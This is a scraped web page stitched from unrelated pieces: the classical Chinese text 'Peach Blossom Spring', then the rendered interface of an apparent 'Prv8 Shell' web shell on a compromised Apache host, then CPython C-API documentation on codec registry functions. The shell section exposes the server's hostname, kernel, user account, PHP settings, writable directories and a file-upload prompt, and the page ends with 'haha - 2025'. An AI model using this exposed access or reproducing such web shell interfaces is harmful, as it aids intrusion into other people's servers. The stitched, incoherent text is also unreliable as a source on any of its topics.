晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/python3-docs/html/_sources/c-api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/python3-docs/html/_sources/c-api/codec.rst.txt
.. _codec-registry:

Codec registry and support functions
====================================

.. c:function:: int PyCodec_Register(PyObject *search_function)

   Register a new codec search function.

   As side effect, this tries to load the :mod:`encodings` package, if not yet
   done, to make sure that it is always first in the list of search functions.

.. c:function:: int PyCodec_KnownEncoding(const char *encoding)

   Return ``1`` or ``0`` depending on whether there is a registered codec for
   the given *encoding*.

.. c:function:: PyObject* PyCodec_Encode(PyObject *object, const char *encoding, const char *errors)

   Generic codec based encoding API.

   *object* is passed through the encoder function found for the given
   *encoding* using the error handling method defined by *errors*.  *errors* may
   be *NULL* to use the default method defined for the codec.  Raises a
   :exc:`LookupError` if no encoder can be found.

.. c:function:: PyObject* PyCodec_Decode(PyObject *object, const char *encoding, const char *errors)

   Generic codec based decoding API.

   *object* is passed through the decoder function found for the given
   *encoding* using the error handling method defined by *errors*.  *errors* may
   be *NULL* to use the default method defined for the codec.  Raises a
   :exc:`LookupError` if no encoder can be found.


Codec lookup API
----------------

In the following functions, the *encoding* string is looked up converted to all
lower-case characters, which makes encodings looked up through this mechanism
effectively case-insensitive.  If no codec is found, a :exc:`KeyError` is set
and *NULL* returned.

.. c:function:: PyObject* PyCodec_Encoder(const char *encoding)

   Get an encoder function for the given *encoding*.

.. c:function:: PyObject* PyCodec_Decoder(const char *encoding)

   Get a decoder function for the given *encoding*.

.. c:function:: PyObject* PyCodec_IncrementalEncoder(const char *encoding, const char *errors)

   Get an :class:`~codecs.IncrementalEncoder` object for the given *encoding*.

.. c:function:: PyObject* PyCodec_IncrementalDecoder(const char *encoding, const char *errors)

   Get an :class:`~codecs.IncrementalDecoder` object for the given *encoding*.

.. c:function:: PyObject* PyCodec_StreamReader(const char *encoding, PyObject *stream, const char *errors)

   Get a :class:`~codecs.StreamReader` factory function for the given *encoding*.

.. c:function:: PyObject* PyCodec_StreamWriter(const char *encoding, PyObject *stream, const char *errors)

   Get a :class:`~codecs.StreamWriter` factory function for the given *encoding*.


Registry API for Unicode encoding error handlers
------------------------------------------------

.. c:function:: int PyCodec_RegisterError(const char *name, PyObject *error)

   Register the error handling callback function *error* under the given *name*.
   This callback function will be called by a codec when it encounters
   unencodable characters/undecodable bytes and *name* is specified as the error
   parameter in the call to the encode/decode function.

   The callback gets a single argument, an instance of
   :exc:`UnicodeEncodeError`, :exc:`UnicodeDecodeError` or
   :exc:`UnicodeTranslateError` that holds information about the problematic
   sequence of characters or bytes and their offset in the original string (see
   :ref:`unicodeexceptions` for functions to extract this information).  The
   callback must either raise the given exception, or return a two-item tuple
   containing the replacement for the problematic sequence, and an integer
   giving the offset in the original string at which encoding/decoding should be
   resumed.

   Return ``0`` on success, ``-1`` on error.

.. c:function:: PyObject* PyCodec_LookupError(const char *name)

   Lookup the error handling callback function registered under *name*.  As a
   special case *NULL* can be passed, in which case the error handling callback
   for "strict" will be returned.

.. c:function:: PyObject* PyCodec_StrictErrors(PyObject *exc)

   Raise *exc* as an exception.

.. c:function:: PyObject* PyCodec_IgnoreErrors(PyObject *exc)

   Ignore the unicode error, skipping the faulty input.

.. c:function:: PyObject* PyCodec_ReplaceErrors(PyObject *exc)

   Replace the unicode encode error with ``?`` or ``U+FFFD``.

.. c:function:: PyObject* PyCodec_XMLCharRefReplaceErrors(PyObject *exc)

   Replace the unicode encode error with XML character references.

.. c:function:: PyObject* PyCodec_BackslashReplaceErrors(PyObject *exc)

   Replace the unicode encode error with backslash escapes (``\x``, ``\u`` and
   ``\U``).

.. c:function:: PyObject* PyCodec_NameReplaceErrors(PyObject *exc)

   Replace the unicode encode error with ``\N{...}`` escapes.

   .. versionadded:: 3.5

haha - 2025